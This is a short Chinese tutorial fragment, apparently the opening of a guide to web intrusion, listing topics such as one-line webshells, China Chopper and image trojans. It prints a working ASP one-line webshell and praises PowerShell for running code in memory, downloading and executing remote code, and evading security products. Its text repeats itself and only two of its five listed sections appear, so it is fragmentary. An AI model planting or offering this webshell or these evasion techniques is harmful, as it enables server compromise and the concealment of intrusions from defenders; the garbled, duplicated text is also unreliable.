文章目录
- 1 一句话木马
- 2 Powershell
- 3 马,马,狗
- 4 正常上传木马和中国菜刀结合
- 5 图片马
1 一句话木马
asp:
<%eval request("MH")%>
有各种语言的,可以自己查。
2 Powershell
Powershell的优秀之处
-
代码在内存中运行,不接触磁盘
-
从另一个系统下载代码并执行代码
-
许多安全产品无法监测powershell的活动
-
cmd.exe它通常被阻止,但是powershell不会。
asp:
<%eval request("MH")%>
有各种语言的,可以自己查。
Powershell的优秀之处
代码在内存中运行,不接触磁盘
从另一个系统下载代码并执行代码
许多安全产品无法监测powershell的活动
cmd.exe它通常被阻止,但是powershell不会。